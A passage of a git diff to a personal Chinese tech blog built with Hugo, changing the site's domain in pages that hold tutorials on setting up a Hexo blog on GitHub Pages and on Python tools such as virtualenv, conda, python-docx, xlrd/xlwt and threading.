y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单搭建一个hexo博客</h1><div class=post-meta><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e6%90%ad%e5%bb%ba%e4%b8%80%e4%b8%aahexo%e5%8d%9a%e5%ae%a2.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦</p><p>apt install npm</p><p>npm install hexo-cli -g</p><p>hexo init blog</p><p>cd blog</p><p>npm install</p><p>hexo server</p><p>使用NexT</p><p>apt install git</p><p>git clone <a href=https://github.com/theme-next/hexo-theme-next.git>https://github.com/theme-next/hexo-theme-next.git</a></p><p>把hexo-theme-next文件夹放到hexo根目录的themes文件夹下</p><p>启动主题</p><p>打开hexo目录下的_config.yml文件，这个文件为站点配置文件</p><p>找到theme，修改值为hexo-theme-next</p><p>调试模式</p><p>hexo s &ndash;debug
 查看是否输出有错误，方便修改错误信息</p><p>选择主题</p><p>打开主题的根目录的_config.yml文件，这个文件是主题配置文件</p><p>找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#</p><p>设置 语言</p><p>打开站点配置文件，修改language为需要的语言zh-CN</p><p>修改菜单</p><p>打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#</p><p>home 主页
 archives 归档页
 categories 分类页
@@ -110,8 +110,8 @@
 type: git
 repo: <a href=mailto:git@github.com>git@github.com</a>:chenjunlinabc/chenjunlinabc.github.io.git
 branch: main</p><p>github的分支默认为main</p><p>安装一个插件
-npm install hexo-deployer-git &ndash;save</p><p>hexo clean 清理缓存</p><p>hexo g 进行渲染</p><p>部署到git服务器，hexo d</p><hr><p>关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法</p><p>在source目录下添加一个文件CNAME就好</p><p>该文件放域名</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/hexo/>hexo</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/27/><span class=title>« Prev</span><br><span>Python的一些神器的简单用法</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/24/><span class=title>Next »</span><br><span>css常见布局</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+npm install hexo-deployer-git &ndash;save</p><p>hexo clean 清理缓存</p><p>hexo g 进行渲染</p><p>部署到git服务器，hexo d</p><hr><p>关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法</p><p>在source目录下添加一个文件CNAME就好</p><p>该文件放域名</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/hexo/>hexo</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/27/><span class=title>« Prev</span><br><span>Python的一些神器的简单用法</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/24/><span class=title>Next »</span><br><span>css常见布局</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/27/index.html b/posts/27/index.html
index 8fa970bb..536dcb85 100644
--- a/posts/27/index.html
+++ b/posts/27/index.html
@@ -22,8 +22,8 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/27/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Python的一些神器的简单用法"><meta property="og:description" content="Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/27/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Python的一些神器的简单用法"><meta property="og:description" content="Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -47,7 +47,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/27/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:39:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:39:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Python的一些神器的简单用法"><meta name=twitter:description content="Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/27/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T14:39:00+00:00"><meta property="article:modified_time" content="2021-06-16T14:39:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Python的一些神器的简单用法"><meta name=twitter:description content="Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -71,7 +71,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Python的一些神器的简单用法","item":"https://xiaochenabc123.github.io/posts/27/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Python的一些神器的简单用法","name":"Python的一些神器的简单用法","description":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.","keywords":["Python"],"articleBody":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv –no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv –no-site-packages –python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\"污染\"\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件，这里使用nano，可以使用其他编辑器，例如vim\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple\nwindows下\n配置永久使用\n在user目录下创建一个pip目录\n在该目录新建一个pip.ini文件\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn\njupyter\n最简单的安装方法就是使用python的科学计算包—-Anaconda\n该发行版中包含了大量的科学包，其中就附带了jupyter\n可以通过 pip 来安装 pip install jupyter notebook\n启动notebook服务器也很简单，在终端使用jupyter notebook命令就可以了‘’\n服务器的默认地址是http://localhost:8888\n通过点击“New”，来新建文件夹或者文档\n通过ctrl+c来关闭服务器\n修改jupyter默认工作路径\n在终端使用jupyter notebook –generate-config\n输出一个路径的文件，修改这个文件\n找到#c.NotebookApp.notebook_dir = ''\n修改成c.NotebookApp.notebook_dir = ‘你想要修改到的那个工作目录的路径’\n这个工作目录必须提前创建好，否则可能出现闪退\n修改默认浏览器\n同样在终端使用jupyter notebook –generate-config\n如果你已经知道这个文件在哪里可以不用，这个命令只是让我们找到jupyter的配置文件，jupyter_notebook_config.py\n找到#c.NotebookApp.notebook_dir = ''\n在它的后面加入\nimport webbrowser\rwebbrowser.register(\r\"Microsoft Edge\", None, webbrowser.GenericBrowser(u\"\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\")\r)\rc.NotebookApp.browser = \"Microsoft Edge\"\r路径要修改为浏览器的路径\nconda\nconda有两个，一个是anaconda，另一个是miniconda\nanaconda是集成（包含）了一些科学计算包，而miniconda是你要用什么就装什么\nMiniconda 是一个 Anaconda 的轻量级版本，默认只包含了 python 和 conda，但是可以通过 pip 和 conda 来安装所需要的包。\n这里安装的minicoda\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\nbash Miniconda3-latest-Linux-x86_64.sh\n如果是新机器，一路yes就可以了\n创建环境\nconda create –name webpy python=3.7 // 建立一个名叫py37的环境，指定Python版本为Python3.7的最新版本\n激活环境\nactivate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统\npython –version // 检查Python版本\n退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统\nconda remove –name webpy –all // 删除指定环境\nconda info -e // 查看系统的所有环境\nconda install numpy // 安装numpy库\nconda list // 查看已经安装好的库\nconda list -n webpy // 查看指定环境已经安装好的库\nconda install -n webpy numpy // 安装库到指定环境内\nconda update -n webpy numpy // 指定环境更新指定库\nconda remove -n webpy numpy // 删除指定环境中的指定库\nconda update anaconda // 更新anaconda\nconda update python // 更新Python\n添加国内镜像来提升下载速度（使用清华镜像站）\nconda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config –set show_channel_urls yes\ndocx模块（操作Word）\n导入模块 from docx import Document from docx.shared import Inches\n初始化Document对象 document = Document() Document(“1.docx”)\n写入标题，段落样式由level控制，范围0到9，默认为1 document.add_heading(text=“hallo word”,level=9)\n写入段落，段落样式由style控制 data = document.add_paragraph(text=“https://xiaochenabc123.test.com/\",style=None)\n插入段落到现有段落中，段落样式由style控制 data.insert_paragraph_before(text=“abcxyz”,style=None)\n插入图片,并且缩小图片英寸为1.6 document.add_picture(“1.jpg”,width=Inches(1.6))\n插入表格，rows是指定行数，cols是指定行数，style为表格样式 table = document.add_table(rows=1,cols=3,style=“Table Grid”)\n插入列表中第一行的单元格\nmaincells = table.rows[0].cells maincells[0].text = “id” maincells[1].text = “user” maincells[2].text = “pass”\n初始化 data_cells =( [1,“root”,“a”], [2,“admin”,“b”], [3,“user”,“c”] )\n写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2]\n保存 document.save(“hallo.docx”)\ndocx样式\n导入模块\nfrom docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn\n初始化Document对象 document = Document(“1.docx”)\n插入页眉 header = document.sections[0].header\nheader.add_paragraph(“hallo python”)\n插入页脚 footer = document.sections[0].footer\nfooter.add_paragraph(“hallo word”)\n样式 p1 = document.add_paragraph() text1 = p1.add_run(“hallo WORD，hallo python-docx，你好，世界”)\n字体大小 text1.font.size = Pt(16)\n字体是否加粗 text1.bold = True\n字体 text1.font.name = “黑体”\n字体（只能设置中文） text1.element.rPr.rFonts.set(qn(“w:eastAsia”), “黑体”)\n字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255)\n斜体 text1.italic = True\n下划线 text1.underline = True\n保存 document.save(“hallo.docx”)\nxlrd模块+xlwt模块(操作xlsx)\n注意：xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件，高于该版本只支持xls文件，或者使用openpyxl代替xlrd模块\n导入xlrd模块 import xlrd\n加载1.xlsx data = xlrd.open_workbook(“1.xlsx”)\n判断是否加载成功，可以指定第几张工作表，0为第一个工作表 print(data.sheet_loaded(0)) #True\n卸载指定工作表 data.unload_sheet(0)\n输出全部工作表名字（Sheet） print(data.sheet_names())\n输出工作表的数量 print(data.nsheets)\n输出全部所有sheet对象 print(data.sheets())\n将指定工作表索引到变量中 main = data.sheet_by_index(0)\n名字索引到变量中 main = data.sheet_by_name(“Sheet1”)\n输出工作表名字 print(main.name)\n输出工作表有效总行数 print(main.nrows)\n输出工作表有效总列数 print(main.ncols)\n输出工作表有效总列数 print(main.row_len(1))\n输出单元格值类型和内容 print(main.row(0))\n数据类型： 空：0 字符串：1 数字：2 日期：3 布尔：4 error：5\n输出第1行第二列的单元格内容 print(main.row(0)[1].value)\n输出第二列表的全部内容 print(main.col(1))\n输出第一行的内容 print(main.row_values(0))\n输出单元格数据类型 print(main.row_types(0))\n输出第一列的内容 print(main.col_values(0))\n输出第二列的数据类型 print(main.col_types(1))\n输出第6行第一列内容和数据类型 print(main.cell(5,0))\n输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype)\n输出第6行第一列内容 print(main.cell(5,0).value)\n利用xlwt模块写\n导入xlwt模块 import xlwt\nxlwt模块不支持xlsx，只支持xls\n新建workbook，字符集为utf-8 hallo = xlwt.Workbook(encoding=“utf8”)\n新建sheet abc = hallo.add_sheet(“Sheet1”)\n第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,“hallo word”)\n在第4行第1列写入hallo word abc.write(3,0,“hallo word”)\n批量写入 data = ((1,“hallo”,“abc”,“xyz”,123),(1,“hallo”,“abc”,“xyz”,123))\nfor i,a in enumerate(data):\rfor q,s in enumerate(a):\rabc.write(i,q,s)\r在第1行第1列写入图片，只支持bmp格式 abc.insert_bitmap(“1.bmp”, 0, 0)\n保存 hallo.save(“hallo.xls”)\n样式\n初始化 style = xlwt.XFStyle()\n初始化样式 stylefont = xlwt.Font()\n名称 stylefont.name = “宋体”\n加粗 stylefont.bold = True\n字号 stylefont.height = 11*20\n字体颜色，注意不是RGB颜色，而是在xlwt内部定义的 stylefont.colour_index = 0x0A\nstyle.font = stylefont\n初始化Alignment align = xlwt.Alignment()\n水平对齐方式 align.vert = 0x01\n垂直对齐方式 align.horz = 0x00\n应用对齐方式 style.alignment = align\n水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐)\n垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐)\n初始化Borders borders = xlwt.Borders()\n指定边框样式 borders.right = xlwt.Borders.DASHED\n应用边框 style.borders = borders\ntop 上边框 bottom 下边框 left 左边框 right 右边框\nDOTTED 点线 DASHED 虚线\n初始化Pattern color = xlwt.Pattern()\n填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN\n填充黑色 color.pattern_fore_colour = 0\n应用 style.pattern = color\n应用style abc.write_merge(0,2,0,8,“hallo word”,style)\nxlrd和xlwt使用起来不是很好，而且xlwt模块不支持xlsx，因此不详细写，openpyxl才是王道\nCelery是一个基于Python开发的分布式任务调度模块\n安装\npip install celery[redis]\n如果需要redis消息中间件的话，也可以选择RabbitMQ\neasy_install是一个基于setuptools的工具，可以用来下载，编译，管理Python的包\n官网：http://peak.telecommunity.com/DevCenter/EasyInstall\n安装setuptools就会安装easy_install\npip install setuptools\n或者通过ez_setup.py来安装\nhttps://pypi.org/project/ez_setup/\n下载ez_setup.py的源程序\n安装easy_install： python ez_setup.py\n更新easy_install: python ez_setup.py –U setuptools\n安装包\neasy_install Virtualenv\n也可以通过url来安装\n将已经安装的到pypl上最新版本\neasy_install –upgrade PyProtocols\n更新包\neasy_install “Virtualenv==x.x”\n或者要求版本大于某个版本：\neasy_install “Virtualenv\u003ex.x”\n查找PyPI上的最新可用版本\neasy_install –upgrade Virtualenv\n删除包\n只需要删除包名版本的.egg文件或者目录，如果不想继续使用删除的包，然后easy_install -mxN 包名\nPython内置多线程库threading\n进程是资源分配的最小单位，一个程序必须至少有一个进程，一个进程必须至少有一个线程\n线程是程序执行的最小单位，多线程是可以有效加速程序计算\n进程的资源独立（独立内存，地址空间等等），而线程是可以共享进程中的数据的（IPC），同一个进程下的线程，共享使用相同的地址空间（全局），但是也存在数据同步和互相排斥的问题\n导入threading模块\nimport threading\n查看全部正在运行的线程信息（不包括没启动或者已经终止的线程）\nthreading.enumerate()\n查看正在运行的线程的数量\nthreading.active_count()\n查看正在运行的线程信息\nthreading.current_thread()\n添加线程（需要接受target参数，该参数指向这个线程要完成的任务）\nthreading.Thread(target=xxx)\n启动线程\nthread.start()\n终止线程（会等待线程终止）\nthread.join()\n简单的例子：\nimport threading\rdef funs(name,data):\rprint(\"hallo\",name,data)\ra1 = threading.Thread(target=funs, args = (\"root\",666))\ra1.start()\ra1.join()\r执行后如果看到hallo root 666就说明已经执行线程成功了\n线程锁Lock\n同一进程下的线程是可以共享内存的，而Lock是保证多线程之间不会出现内存被乱改或者没有同步，多线程在执行修改内存后，进行lock.acquire()共享内存上锁，执行完毕在解锁lock.release()\nPython多进程库multiprocessing\nmultiprocessing库用法和threading类似，例如：\nimport multiprocessing def funs(name,data): print(“hallo”,name,data) if name==’main’: a1 = multiprocessing.Process(target=funs, args = (“root”,666)) a1.start() a1.join()\n进程池 Pool（进程池就是将需要完成的任务，放到该进程池中，由Python自己解决多进程问题）\n例如：\nimport multiprocessing\rdef demo(x):\rreturn x+x\rdef funs():\rpool = multiprocessing.Pool()\rdata = pool.map(demo, range(3))\rprint(\"hallo\",data)\rif __name__=='__main__':\rfuns()\rPool自定义需调用核数量（默认为CPU的核数）\npool = multiprocessing.Pool(processes=4)\r进程锁和线程锁用法一样，就不写了\n","wordCount":"744","inLanguage":"en","datePublished":"2021-06-16T14:39:00Z","dateModified":"2021-06-16T14:39:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/27/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img 